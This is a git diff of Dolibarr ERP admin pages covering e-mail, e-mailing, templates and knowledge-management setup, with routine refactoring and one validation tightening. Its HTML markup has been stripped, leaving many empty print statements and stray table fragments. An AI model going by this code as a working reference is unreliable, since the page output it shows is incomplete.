      '; diff --git a/htdocs/admin/knowledgemanagement.php b/htdocs/admin/knowledgemanagement.php index b1710a53839..3fc8ebb3724 100644 --- a/htdocs/admin/knowledgemanagement.php +++ b/htdocs/admin/knowledgemanagement.php @@ -69,11 +69,11 @@ if (!$user->admin) { include DOL_DOCUMENT_ROOT.'/core/actions_setmoduleoptions.inc.php'; if ($action == 'updateMask') { - $maskconstorder = GETPOST('maskconstorder', 'alpha'); + $maskconst = GETPOST('maskconst', 'aZ09'); $maskorder = GETPOST('maskorder', 'alpha'); - if ($maskconstorder) { - $res = dolibarr_set_const($db, $maskconstorder, $maskorder, 'chaine', 0, '', $conf->entity); + if ($maskconst && preg_match('/_MASK$/', $maskconst)) { + $res = dolibarr_set_const($db, $maskconst, $maskorder, 'chaine', 0, '', $conf->entity); if (!($res > 0)) { $error++; } @@ -209,14 +209,14 @@ if ($action == 'edit') { if ($val['type'] == 'textarea') { print '\n"; } elseif ($val['type'] == 'html') { require_once DOL_DOCUMENT_ROOT . '/core/class/doleditor.class.php'; - $doleditor = new DolEditor($constname, $conf->global->{$constname}, '', 160, 'dolibarr_notes', '', false, false, isModEnabled('fckeditor'), ROWS_5, '90%'); + $doleditor = new DolEditor($constname, getDolGlobalString($constname), '', 160, 'dolibarr_notes', '', false, false, isModEnabled('fckeditor'), ROWS_5, '90%'); $doleditor->Create(); } elseif ($val['type'] == 'yesno') { - print $form->selectyesno($constname, $conf->global->{$constname}, 1); + print $form->selectyesno($constname, getDolGlobalString($constname), 1); } elseif (preg_match('/emailtemplate:/', $val['type'])) { include_once DOL_DOCUMENT_ROOT . '/core/class/html.formmail.class.php'; $formmail = new FormMail($db); @@ -275,9 +275,9 @@ if ($action == 'edit') { print '
      '; if ($val['type'] == 'textarea') { - print dol_nl2br($conf->global->{$constname}); + print dol_nl2br(getDolGlobalString($constname)); } elseif ($val['type']== 'html') { - print $conf->global->{$constname}; + print getDolGlobalString($constname); } elseif ($val['type'] == 'yesno') { print ajax_constantonoff($constname); } elseif (preg_match('/emailtemplate:/', $val['type'])) { @@ -286,7 +286,7 @@ if ($action == 'edit') { $tmp = explode(':', $val['type']); - $template = $formmail->getEMailTemplate($db, $tmp[1], $user, $langs, $conf->global->{$constname}); + $template = $formmail->getEMailTemplate($db, $tmp[1], $user, $langs, getDolGlobalString($constname)); if ($template<0) { setEventMessages(null, $formmail->errors, 'errors'); } @@ -304,17 +304,17 @@ if ($action == 'edit') { } print '
        ' . implode(' ', $toprint) . '
      '; } elseif (preg_match('/thirdparty_type/', $val['type'])) { - if ($conf->global->{$constname}==2) { + if (getDolGlobalString($constname)==2) { print $langs->trans("Prospect"); - } elseif ($conf->global->{$constname}==3) { + } elseif (getDolGlobalString($constname)==3) { print $langs->trans("ProspectCustomer"); - } elseif ($conf->global->{$constname}==1) { + } elseif (getDolGlobalInt($constname)==1) { print $langs->trans("Customer"); - } elseif ($conf->global->{$constname}==0) { + } elseif (getDolGlobalInt($constname)==0) { print $langs->trans("NorProspectNorCustomer"); } } else { - print $conf->global->{$constname}; + print getDolGlobalString($constname); } print '
      '; print ''; print ''; print ''; -print ''; +print ''; print "\n"; print ''; +print ''; +print ''; print ''; print ''; +print ''; +print ''; print ''; print ''; +print $form->textwithpicto($langs->trans("MailingDelay"), $langs->trans("IfDefinedUseAValueBeetween", '0.001', '10')).''; +print ''; print ''; @@ -157,11 +171,12 @@ print ''; print ''; +print ''; +print ''; print ''; // default blacklist from mailing @@ -171,7 +186,7 @@ print ''; -print ''; +print ''; print ''; @@ -179,7 +194,8 @@ if (!empty($conf->use_javascript_ajax) && $conf->global->MAIN_FEATURES_LEVEL >= print ''; + print ''; + print ''; print ''; } diff --git a/htdocs/admin/mails.php b/htdocs/admin/mails.php index 035830a0878..504197fac7a 100644 --- a/htdocs/admin/mails.php +++ b/htdocs/admin/mails.php @@ -48,13 +48,14 @@ if ($action == 'test' || ($action == 'send' && $trackid = 'test')) { $substitutionarrayfortest = array( '__DOL_MAIN_URL_ROOT__'=>DOL_MAIN_URL_ROOT, - '__CHECK_READ__' => (!empty($object) && is_object($object) && is_object($object->thirdparty)) ? '' : '', + '__CHECK_READ__' => '', '__USER_LOGIN__' => $user->login, '__USER_EMAIL__' => $user->email, '__USER_SIGNATURE__' => (($user->signature && empty($conf->global->MAIN_MAIL_DO_NOT_USE_SIGN)) ? $usersignature : ''), // Done into actions_sendmails '__SENDEREMAIL_SIGNATURE__' => (($user->signature && empty($conf->global->MAIN_MAIL_DO_NOT_USE_SIGN)) ? $usersignature : ''), // Done into actions_sendmails '__ID__' => 'RecipientIdRecord', //'__EMAIL__' => 'RecipientEMail', // Done into actions_sendmails + '__LOGIN__' => $user->login, '__LASTNAME__' => 'RecipientLastname', '__FIRSTNAME__' => 'RecipientFirstname', '__ADDRESS__'=> 'RecipientAddress', @@ -455,6 +456,25 @@ if ($action == 'edit') { } print ''; + // Auth mode + if (!empty($conf->use_javascript_ajax) || (in_array(getDolGlobalString('MAIN_MAIL_SENDMODE', 'mail'), array('smtps', 'swiftmailer')))) { + print ''; + } + // ID if (!empty($conf->use_javascript_ajax) || (in_array(getDolGlobalString('MAIN_MAIL_SENDMODE', 'mail'), array('smtps', 'swiftmailer')))) { $mainstmpid = (!empty($conf->global->MAIN_MAIL_SMTPS_ID) ? $conf->global->MAIN_MAIL_SMTPS_ID : ''); @@ -471,24 +491,6 @@ if ($action == 'edit') { } - // OAUTH - if (!empty($conf->use_javascript_ajax) || (in_array(getDolGlobalString('MAIN_MAIL_SENDMODE', 'mail'), array('smtps', 'swiftmailer')))) { - print ''; - } - // PW if (!empty($conf->use_javascript_ajax) || (in_array(getDolGlobalString('MAIN_MAIL_SENDMODE', 'mail'), array('smtps', 'swiftmailer')))) { $mainsmtppw = (!empty($conf->global->MAIN_MAIL_SMTPS_PW) ? $conf->global->MAIN_MAIL_SMTPS_PW : ''); @@ -705,11 +707,6 @@ if ($action == 'edit') { print ''; } - // SMTPS ID - if (in_array(getDolGlobalString('MAIN_MAIL_SENDMODE', 'mail'), array('smtps', 'swiftmailer'))) { - print ''; - } - // AUTH method if (in_array(getDolGlobalString('MAIN_MAIL_SENDMODE', 'mail'), array('smtps', 'swiftmailer'))) { $authtype = getDolGlobalString('MAIN_MAIL_SMTPS_AUTH_TYPE', 'LOGIN'); @@ -717,6 +714,11 @@ if ($action == 'edit') { print ''; } + // SMTPS ID + if (in_array(getDolGlobalString('MAIN_MAIL_SENDMODE', 'mail'), array('smtps', 'swiftmailer'))) { + print ''; + } + // SMTPS PW if (in_array(getDolGlobalString('MAIN_MAIL_SENDMODE', 'mail'), array('smtps', 'swiftmailer')) && getDolGlobalString('MAIN_MAIL_SMTPS_AUTH_TYPE') != "XOAUTH2") { print ''; @@ -922,7 +924,7 @@ if ($action == 'edit') { print ''.$langs->trans("DoTestServerAvailability").''; } } else { - print ''.$langs->trans("DoTestServerAvailability").''; + //print ''.$langs->trans("DoTestServerAvailability").''; } print ''.$langs->trans("DoTestSend").''; @@ -1026,7 +1028,7 @@ if ($action == 'edit') { print '
      '; print load_fiche_titre($action == 'testhtml' ? $langs->trans("DoTestSendHTML") : $langs->trans("DoTestSend")); - print dol_get_fiche_head(''); + print dol_get_fiche_head(array(), '', '', -1); // Cree l'objet formulaire mail include_once DOL_DOCUMENT_ROOT.'/core/class/html.formmail.class.php'; @@ -1071,6 +1073,7 @@ if ($action == 'edit') { print dol_get_fiche_end(); // References + print '

      '; print ''.$langs->trans("EMailsWillHaveMessageID").': '; print dol_escape_htmltag(''); print ''; diff --git a/htdocs/admin/mails_emailing.php b/htdocs/admin/mails_emailing.php index d2eabd95e2b..1f638be3286 100644 --- a/htdocs/admin/mails_emailing.php +++ b/htdocs/admin/mails_emailing.php @@ -34,10 +34,6 @@ $langs->loadLangs(array('companies', 'products', 'admin', 'mails', 'other', 'err $action = GETPOST('action', 'aZ09'); $cancel = GETPOST('cancel', 'aZ09'); -if (!$user->admin) { - accessforbidden(); -} - $usersignature = $user->signature; // For action = test or send, we ensure that content is not html, even for signature, because this we want a test with NO html. if ($action == 'test' || $action == 'send') { @@ -46,11 +42,13 @@ if ($action == 'test' || $action == 'send') { $substitutionarrayfortest = array( '__DOL_MAIN_URL_ROOT__'=>DOL_MAIN_URL_ROOT, - '__ID__' => 'RecipientIdRecord', - //'__EMAIL__' => 'RecipientEMail', // Done into actions_sendmails - '__CHECK_READ__' => (!empty($object) && is_object($object) && is_object($object->thirdparty)) ? '' : '', + '__CHECK_READ__' => '', + '__USER_LOGIN__' => $user->login, + '__USER_EMAIL__' => $user->email, '__USER_SIGNATURE__' => (($user->signature && empty($conf->global->MAIN_MAIL_DO_NOT_USE_SIGN)) ? $usersignature : ''), // Done into actions_sendmails '__SENDEREMAIL_SIGNATURE__' => (($user->signature && empty($conf->global->MAIN_MAIL_DO_NOT_USE_SIGN)) ? $usersignature : ''), // Done into actions_sendmails + '__ID__' => 'RecipientIdRecord', + //'__EMAIL__' => 'RecipientEMail', // Done into actions_sendmails '__LOGIN__' => $user->login, '__LASTNAME__' => 'RecipientLastname', '__FIRSTNAME__' => 'RecipientFirstname', @@ -61,6 +59,10 @@ $substitutionarrayfortest = array( ); complete_substitutions_array($substitutionarrayfortest, $langs); +// Security check +if (!$user->admin) { + accessforbidden(); +} /* @@ -394,6 +396,25 @@ if ($action == 'edit') { } print ''; + // AUTH method + if (!empty($conf->use_javascript_ajax) || (isset($conf->global->MAIN_MAIL_SENDMODE_EMAILING) && in_array($conf->global->MAIN_MAIL_SENDMODE_EMAILING, array('smtps', 'swiftmailer')))) { + print ''; + } + // ID if (!empty($conf->use_javascript_ajax) || (isset($conf->global->MAIN_MAIL_SENDMODE_EMAILING) && in_array($conf->global->MAIN_MAIL_SENDMODE_EMAILING, array('smtps', 'swiftmailer')))) { $mainstmpid = (!empty($conf->global->MAIN_MAIL_SMTPS_ID_EMAILING) ? $conf->global->MAIN_MAIL_SMTPS_ID_EMAILING : ''); @@ -409,24 +430,6 @@ if ($action == 'edit') { print ''; } - // OAUTH - if (!empty($conf->use_javascript_ajax) || (isset($conf->global->MAIN_MAIL_SENDMODE_EMAILING) && in_array($conf->global->MAIN_MAIL_SENDMODE_EMAILING, array('smtps', 'swiftmailer')))) { - print ''; - } - // PW if (!empty($conf->use_javascript_ajax) || (isset($conf->global->MAIN_MAIL_SENDMODE_EMAILING) && in_array($conf->global->MAIN_MAIL_SENDMODE_EMAILING, array('smtps', 'swiftmailer')))) { $mainsmtppw = (!empty($conf->global->MAIN_MAIL_SMTPS_PW_EMAILING) ? $conf->global->MAIN_MAIL_SMTPS_PW_EMAILING : ''); @@ -442,7 +445,7 @@ if ($action == 'edit') { print ''; } - // OAUTH service provider + // OAUTH service provider if (!empty($conf->use_javascript_ajax) || (isset($conf->global->MAIN_MAIL_SENDMODE_EMAILING) && in_array($conf->global->MAIN_MAIL_SENDMODE_EMAILING, array('smtps', 'swiftmailer')))) { print ''; } - // SMTPS ID - if (isset($conf->global->MAIN_MAIL_SENDMODE_EMAILING) && in_array($conf->global->MAIN_MAIL_SENDMODE_EMAILING, array('smtps', 'swiftmailer'))) { - print ''; - } - // AUTH method if (in_array(getDolGlobalString('MAIN_MAIL_SENDMODE_EMAILING'), array('smtps', 'swiftmailer'))) { $authtype = getDolGlobalString('MAIN_MAIL_SMTPS_AUTH_TYPE_EMAILING', 'LOGIN'); @@ -558,6 +556,11 @@ if ($action == 'edit') { print ''; } + // SMTPS ID + if (isset($conf->global->MAIN_MAIL_SENDMODE_EMAILING) && in_array($conf->global->MAIN_MAIL_SENDMODE_EMAILING, array('smtps', 'swiftmailer'))) { + print ''; + } + // SMTPS PW if (isset($conf->global->MAIN_MAIL_SENDMODE_EMAILING) && in_array($conf->global->MAIN_MAIL_SENDMODE_EMAILING, array('smtps', 'swiftmailer')) && getDolGlobalString('MAIN_MAIL_SMTPS_AUTH_TYPE_EMAILING') != "XOAUTH2") { print ''; @@ -707,8 +710,8 @@ if ($action == 'edit') { $formmail->withfrom = 1; $formmail->witherrorsto = 1; $formmail->withto = (GETPOSTISSET('sendto') ? GETPOST('sendto', 'restricthtml') : ($user->email ? $user->email : 1)); - $formmail->withtocc = (GETPOSTISSET(['sendtocc']) ? GETPOST('sendtocc', 'restricthtml') : 1); // ! empty to keep field if empty - $formmail->withtoccc = (GETPOSTISSET(['sendtoccc']) ? GETPOST('sendtoccc', 'restricthtml') : 1); // ! empty to keep field if empty + $formmail->withtocc = (GETPOSTISSET('sendtocc') ? GETPOST('sendtocc', 'restricthtml') : 1); // ! empty to keep field if empty + $formmail->withtoccc = (GETPOSTISSET('sendtoccc') ? GETPOST('sendtoccc', 'restricthtml') : 1); // ! empty to keep field if empty $formmail->withtopic = (GETPOSTISSET('subject') ? GETPOST('subject') : $langs->trans("Test")); $formmail->withtopicreadonly = 0; $formmail->withfile = 2; diff --git a/htdocs/admin/mails_ingoing.php b/htdocs/admin/mails_ingoing.php new file mode 100644 index 00000000000..010d933821e --- /dev/null +++ b/htdocs/admin/mails_ingoing.php @@ -0,0 +1,137 @@ + + * Copyright (C) 2009-2012 Regis Houssin + * Copyright (C) 2013 Juanjo Menent + * Copyright (C) 2016 Jonathan TISSEAU + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file htdocs/admin/mails_ingoing.php + * \brief Page to setup emails entry + */ + +// Load Dolibarr environment +require '../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/admin.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; + +// Load translation files required by the page +$langs->loadLangs(array("companies", "products", "admin", "mails", "other", "errors")); + +$action = GETPOST('action', 'aZ09'); +$cancel = GETPOST('cancel', 'aZ09'); + +$trackid = GETPOST('trackid'); + +if (!$user->admin) { + accessforbidden(); +} + + +/* + * Actions + */ + +if ($action == 'update' && !$cancel) { +} + + + +/* + * View + */ + +$form = new Form($db); + +$linuxlike = 1; +if (preg_match('/^win/i', PHP_OS)) { + $linuxlike = 0; +} +if (preg_match('/^mac/i', PHP_OS)) { + $linuxlike = 0; +} + + +//$wikihelp = 'EN:Setup_EMails|FR:Paramétrage_EMails|ES:Configuración_EMails'; +$wikihelp = ''; +llxHeader('', $langs->trans("Setup"), $wikihelp); + +print load_fiche_titre($langs->trans("EMailsSetup"), '', 'title_setup'); + +$head = email_admin_prepare_head(); + +// List of sending methods +$listofmethods = array(); +$listofmethods['mail'] = 'PHP mail function'; +$listofmethods['smtps'] = 'SMTP/SMTPS socket library'; +if (version_compare(phpversion(), '7.0', '>=')) { + $listofmethods['swiftmailer'] = 'Swift Mailer socket library'; +} + +// List of oauth services +$oauthservices = array(); + +foreach ($conf->global as $key => $val) { + if (!empty($val) && preg_match('/^OAUTH_.*_ID$/', $key)) { + $key = preg_replace('/^OAUTH_/', '', $key); + $key = preg_replace('/_ID$/', '', $key); + if (preg_match('/^.*-/', $key)) { + $name = preg_replace('/^.*-/', '', $key); + } else { + $name = $langs->trans("NoName"); + } + $provider = preg_replace('/-.*$/', '', $key); + $provider = ucfirst(strtolower($provider)); + + $oauthservices[$key] = $name." (".$provider.")"; + } +} + +print dol_get_fiche_head($head, 'common_ingoing', '', -1); + +print '
      '; +print ''.$langs->trans("EMailsInGoingDesc", $langs->transnoentitiesnoconv("EmailCollector"))."
      \n"; +print "

      \n"; + +/* +print '
      '; // You can use div-table-responsive-no-min if you dont need reserved height for your table +print '
      '.$langs->trans("Parameter").''.$langs->trans("Value").''.$langs->trans("Example").''.$langs->trans("Example").'
      '; $help = img_help(1, $langs->trans("EMailHelpMsgSPFDKIM")); print $langs->trans("MailingEMailFrom").' '.$help.''; -print ''; +print ''; if (!empty($conf->global->MAILING_EMAIL_FROM) && !isValidEmail($conf->global->MAILING_EMAIL_FROM)) { print ' '.img_warning($langs->trans("BadEMail")); } -print ''.dol_escape_htmltag(($mysoc->name ? $mysoc->name : 'MyName').' ').''.dol_escape_htmltag(($mysoc->name ? $mysoc->name : 'MyName').' ').'
      '; print $langs->trans("MailingEMailError").''; -print ''; -if (!empty($conf->global->MAILING_EMAIL_ERRORSTO) && !isValidEmail($conf->global->MAILING_EMAIL_ERRORSTO)) { +print ''; +if (getDolGlobalString('MAILING_EMAIL_ERRORSTO') && !isValidEmail(getDolGlobalString('MAILING_EMAIL_ERRORSTO'))) { print ' '.img_warning($langs->trans("BadEMail")); } -print 'webmaster@example.com>'.dol_escape_htmltag('').'
      '; -print $langs->trans("MailingDelay").''; -print ''; -print ''; +print ''; +print '
      '; print $langs->trans("ActivateCheckReadKey").''; -print ''; +print ''; if (!empty($conf->use_javascript_ajax)) { print ' '.img_picto($langs->trans('Generate'), 'refresh', 'id="generate_token" class="linkobject"'); } -print '
      '; $blacklist_setting=array(0=>$langs->trans('No'), 1=>$langs->trans('Yes'), 2=>$langs->trans('DefaultStatusEmptyMandatory')); print $form->selectarray("MAILING_CONTACT_DEFAULT_BULK_STATUS", $blacklist_setting, $conf->global->MAILING_CONTACT_DEFAULT_BULK_STATUS); print '
      '; print $langs->trans("MailAdvTargetRecipients").''; print ajax_constantonoff('EMAILING_USE_ADVANCED_SELECTOR'); - print '
      '.$langs->trans("MAIN_MAIL_SMTPS_AUTH_TYPE").''; + if (!isModEnabled('multicompany') || ($user->admin && !$user->entity)) { + // Note: Default value for MAIN_MAIL_SMTPS_AUTH_TYPE if not defined is 'LOGIN' (but login/pass may be empty and they won't be provided in such a case) + print ' '; + print ''; + print '     '; + print ' '; + print ''; + } else { + $value = getDolGlobalString('MAIN_MAIL_SMTPS_AUTH_TYPE', 'LOGIN'); + $htmltext = $langs->trans("ContactSuperAdminForChange"); + print $form->textwithpicto($langs->trans("MAIN_MAIL_SMTPS_AUTH_TYPE"), $htmltext, 1, 'superadmin'); + print ''; + } + print '
      '.$langs->trans("MAIN_MAIL_SMTPS_AUTH_TYPE").''; - if (!isModEnabled('multicompany') || ($user->admin && !$user->entity)) { - print ' '; - print ''; - print '            '; - print ' '; - print ''; - } else { - $value = getDolGlobalString('MAIN_MAIL_SMTPS_AUTH_TYPE', 'LOGIN'); - $htmltext = $langs->trans("ContactSuperAdminForChange"); - print $form->textwithpicto($langs->trans("MAIN_MAIL_SMTPS_AUTH_TYPE"), $htmltext, 1, 'superadmin'); - print ''; - } - print '
      '.$langs->trans("MAIN_MAIL_SMTP_PORT", ini_get('smtp_port') ?ini_get('smtp_port') : $langs->transnoentities("Undefined")).''.(!empty($conf->global->MAIN_MAIL_SMTP_PORT) ? $conf->global->MAIN_MAIL_SMTP_PORT : '').'
      '.$langs->trans("MAIN_MAIL_SMTPS_ID").''.$conf->global->MAIN_MAIL_SMTPS_ID.'
      '.$langs->trans("MAIN_MAIL_SMTPS_AUTH_TYPE").''.$text.'
      '.$langs->trans("MAIN_MAIL_SMTPS_ID").''.$conf->global->MAIN_MAIL_SMTPS_ID.'
      '.$langs->trans("MAIN_MAIL_SMTPS_PW").''.preg_replace('/./', '*', $conf->global->MAIN_MAIL_SMTPS_PW).'
      '.$langs->trans("MAIN_MAIL_SMTPS_AUTH_TYPE").''; + if (!isModEnabled('multicompany') || ($user->admin && !$user->entity)) { + // Note: Default value for MAIN_MAIL_SMTPS_AUTH_TYPE if not defined is 'LOGIN' (but login/pass may be empty and they won't be provided in such a case) + print ' '; + print ''; + print '            '; + print ' '; + print ''; + } else { + $value = getDolGlobalString('MAIN_MAIL_SMTPS_AUTH_TYPE_EMAILING', 'LOGIN'); + $htmltext = $langs->trans("ContactSuperAdminForChange"); + print $form->textwithpicto($langs->trans("MAIN_MAIL_SMTPS_AUTH_TYPE"), $htmltext, 1, 'superadmin'); + print ''; + } + print '
      '.$langs->trans("MAIN_MAIL_SMTPS_AUTH_TYPE").''; - if (empty($conf->multicompany->enabled) || ($user->admin && !$user->entity)) { - print ' '; - print ''; - print '            '; - print ' '; - print ''; - } else { - $value = getDolGlobalString('MAIN_MAIL_SMTPS_AUTH_TYPE_EMAILING', 'LOGIN'); - $htmltext = $langs->trans("ContactSuperAdminForChange"); - print $form->textwithpicto($langs->trans("MAIN_MAIL_SMTPS_AUTH_TYPE"), $htmltext, 1, 'superadmin'); - print ''; - } - print '
      '.$langs->trans("MAIN_MAIL_SMTPS_OAUTH_SERVICE").''; @@ -546,11 +549,6 @@ if ($action == 'edit') { print '
      '.$langs->trans("MAIN_MAIL_SMTP_PORT", ini_get('smtp_port') ?ini_get('smtp_port') : $langs->transnoentities("Undefined")).''.(!empty($conf->global->MAIN_MAIL_SMTP_PORT_EMAILING) ? $conf->global->MAIN_MAIL_SMTP_PORT_EMAILING : '').'
      '.$langs->trans("MAIN_MAIL_SMTPS_ID").''.getDolGlobalString('MAIN_MAIL_SMTPS_ID_EMAILING').'
      '.$langs->trans("MAIN_MAIL_SMTPS_AUTH_TYPE").''.$text.'
      '.$langs->trans("MAIN_MAIL_SMTPS_ID").''.getDolGlobalString('MAIN_MAIL_SMTPS_ID_EMAILING').'
      '.$langs->trans("MAIN_MAIL_SMTPS_PW").''.preg_replace('/./', '*', getDolGlobalString('MAIN_MAIL_SMTPS_PW_EMAILING')).'
      '; +print ''; + +print '
      '; + +print '
      '; // You can use div-table-responsive-no-min if you dont need reserved height for your table +print '
      '.$langs->trans("Parameter").''.$langs->trans("Value").'
      '; + +// SMTPS oauth service +if (in_array(getDolGlobalString('MAIN_MAIL_SENDMODE', 'mail'), array('smtps', 'swiftmailer')) && getDolGlobalString('MAIN_MAIL_SMTPS_AUTH_TYPE') === "XOAUTH2") { + $text = $oauthservices[$conf->global->MAIN_MAIL_SMTPS_OAUTH_SERVICE]; + if (empty($text)) { + $text = $langs->trans("Undefined").img_warning(); + } + print ''; +} + +print '
      '.$langs->trans("MAIN_MAIL_SMTPS_OAUTH_SERVICE").''.$text.'
      '; +print ''; +*/ + +print dol_get_fiche_end(); + + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/admin/mails_senderprofile_list.php b/htdocs/admin/mails_senderprofile_list.php index 95f57d5dfc5..dbf47365440 100644 --- a/htdocs/admin/mails_senderprofile_list.php +++ b/htdocs/admin/mails_senderprofile_list.php @@ -226,19 +226,17 @@ print "
      \n"; // Build and execute select // -------------------------------------------------------------------- $sql = 'SELECT '; -foreach ($object->fields as $key => $val) { - $sql .= "t.".$key.", "; -} +$sql .= $object->getFieldList('t'); // Add fields from extrafields if (!empty($extrafields->attributes[$object->table_element]['label'])) { foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) { - $sql .= ($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? "ef.".$key." as options_".$key.', ' : ''); + $sql .= ($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? ", ef.".$key." as options_".$key : ''); } } // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); $sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as t"; if (!empty($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { @@ -416,7 +414,7 @@ if ($action != 'create') { print '
      '.$langs->trans("Label").'
      '.$langs->trans("Email").''; print img_picto('', 'email', 'class="pictofixedwidth"'); - print '
      '.$langs->trans("Signature").''; require_once DOL_DOCUMENT_ROOT.'/core/class/doleditor.class.php'; $doleditor = new DolEditor('signature', GETPOST('signature'), '', 138, 'dolibarr_notes', 'In', true, true, empty($conf->global->FCKEDITOR_ENABLE_USERSIGN) ? 0 : 1, ROWS_4, '90%'); @@ -672,7 +670,7 @@ if ($num == 0) { $colspan++; } } - print '
      '.$langs->trans("NoRecordFound").'
      '.$langs->trans("NoRecordFound").'
      '; + print '
      '; - // Label + // Topic of email if ($tmpfieldlist == 'topic') { print ''.$form->textwithpicto($langs->trans("Topic"), $tabhelp[$id][$tmpfieldlist], 1, 'help', '', 0, 2, $tmpfieldlist).' '; } @@ -828,7 +830,7 @@ if ($action == 'create') { if (empty($conf->global->FCKEDITOR_ENABLE_MAIL)) { $okforextended = false; } - $doleditor = new DolEditor($tmpfieldlist, (!empty($obj->$tmpfieldlist) ? $obj->$tmpfieldlist : ''), '', 180, 'dolibarr_mailings', 'In', 0, true, $okforextended, ROWS_4, '90%'); + $doleditor = new DolEditor($tmpfieldlist, (!empty($obj->$tmpfieldlist) ? $obj->$tmpfieldlist : ''), '', 180, 'dolibarr_mailings', 'In', false, $acceptlocallinktomedia, $okforextended, ROWS_4, '90%'); print $doleditor->Create(1); } print '
      '; - print $formadmin->select_language($search_lang, 'search_lang', 0, null, 1, 0, 0, 'maxwidth150'); + print $formadmin->select_language($search_lang, 'search_lang', 0, null, 1, 0, 0, 'maxwidth100'); print ''; - print $form->select_dolusers($search_fk_user, 'search_fk_user', 1, null, 0, ($user->admin ? '' : 'hierarchyme'), null, 0, 0, 0, '', 0, '', 'maxwidth150', 1); + print $form->select_dolusers($search_fk_user, 'search_fk_user', 1, null, 0, ($user->admin ? '' : 'hierarchyme'), null, 0, 0, 0, '', 0, '', 'maxwidth100', 1); print ''; - print $form->selectarray('search_type_template', $elementList, $search_type_template, 1, 0, 0, '', 0, 0, 0, '', 'minwidth150', 1, '', 0, 1); + print $form->selectarray('search_type_template', $elementList, $search_type_template, 1, 0, 0, '', 0, 0, 0, '', 'minwidth100 maxwidth125', 1, '', 0, 1); print '
      '; + print ''; if ($tmpfieldlist == 'topic') { print ''.$form->textwithpicto($langs->trans("Topic"), $tabhelp[$id][$tmpfieldlist], 1, 'help', '', 0, 2, $tmpfieldlist).' '; print ''; @@ -1061,40 +1075,6 @@ if ($num) { print $form->selectyesno($tmpfieldlist.'-'.$rowid, (isset($obj->$tmpfieldlist) ? $obj->$tmpfieldlist : '0'), 1, false, 0, 1); } - // If $acceptlocallinktomedia is true, we can add link media files int email templates (we already can do this into HTML editor of an email). - // Note that local link to a file into medias are replaced with a real link by email in CMailFile.class.php with value $urlwithroot defined like this: - // $urlwithouturlroot = preg_replace('/'.preg_quote(DOL_URL_ROOT, '/').'$/i', '', trim($dolibarr_main_url_root)); - // $urlwithroot = $urlwithouturlroot.DOL_URL_ROOT; // This is to use external domain name found into config file - $acceptlocallinktomedia = getDolGlobalInt('MAIN_DISALLOW_MEDIAS_IN_EMAIL_TEMPLATES') ? 0 : 1; - if ($acceptlocallinktomedia) { - global $dolibarr_main_url_root; - $urlwithouturlroot = preg_replace('/'.preg_quote(DOL_URL_ROOT, '/').'$/i', '', trim($dolibarr_main_url_root)); - - // Parse $newUrl - $newUrlArray = parse_url($urlwithouturlroot); - $hosttocheck = $newUrlArray['host']; - $hosttocheck = str_replace(array('[', ']'), '', $hosttocheck); // Remove brackets of IPv6 - - if (function_exists('gethostbyname')) { - $iptocheck = gethostbyname($hosttocheck); - } else { - $iptocheck = $hosttocheck; - } - - //var_dump($iptocheck.' '.$acceptlocallinktomedia); - if (!filter_var($iptocheck, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { - // If ip of public url is an private network IP, we do not allow this. - $acceptlocallinktomedia = 0; - // TODO Show a warning - } - - if (preg_match('/http:/i', $urlwithouturlroot)) { - // If public url is not a https, we do not allow to add medias link. It will generate security alerts when email will be sent. - $acceptlocallinktomedia = 0; - // TODO Show a warning - } - } - if ($tmpfieldlist == 'content') { print $form->textwithpicto($langs->trans("Content"), $tabhelp[$id][$tmpfieldlist], 1, 'help', '', 0, 2, $tmpfieldlist).'
      '; $okforextended = true; @@ -1162,7 +1142,8 @@ if ($num) { $align = ""; $class = "tddict"; $title = ''; - $valuetoshow = $obj->{$fieldlist[$field]}; + $tmpvar = $fieldlist[$field]; + $valuetoshow = $obj->$tmpvar; if ($value == 'label' || $value == 'topic') { if ($langs->trans($valuetoshow) != $valuetoshow) { $valuetoshow = $langs->trans($valuetoshow); @@ -1300,29 +1281,31 @@ $db->close(); */ function fieldList($fieldlist, $obj = '', $tabname = '', $context = '') { - global $conf, $langs, $user, $db; + global $langs, $user, $db; global $form; global $elementList; $formadmin = new FormAdmin($db); foreach ($fieldlist as $field => $value) { - if ($value == 'fk_user') { + if ($value == 'module') { + print '
      '; if ($user->admin) { - print $form->select_dolusers(empty($obj->{$value}) ? '' : $obj->{$value}, 'fk_user', 1, null, 0, ($user->admin ? '' : 'hierarchyme'), null, 0, 0, 0, '', 0, '', 'minwidth150 maxwidth200'); + print $form->select_dolusers(empty($obj->$value) ? '' : $obj->$value, 'fk_user', 1, null, 0, ($user->admin ? '' : 'hierarchyme'), null, 0, 0, 0, '', 0, '', 'minwidth75 maxwidth100'); } else { if ($context == 'add') { // I am not admin and we show the add form print $user->getNomUrl(1); // Me $forcedvalue = $user->id; } else { - if ($obj && !empty($obj->{$value}) && $obj->{$value} > 0) { + if ($obj && !empty($obj->$value) && $obj->$value > 0) { $fuser = new User($db); - $fuser->fetch($obj->{$value}); + $fuser->fetch($obj->$value); print $fuser->getNomUrl(1); $forcedvalue = $fuser->id; } else { - $forcedvalue = $obj->{$value}; + $forcedvalue = $obj->$value; } } $keyname = $value; @@ -1336,7 +1319,7 @@ function fieldList($fieldlist, $obj = '', $tabname = '', $context = '') if ($context == 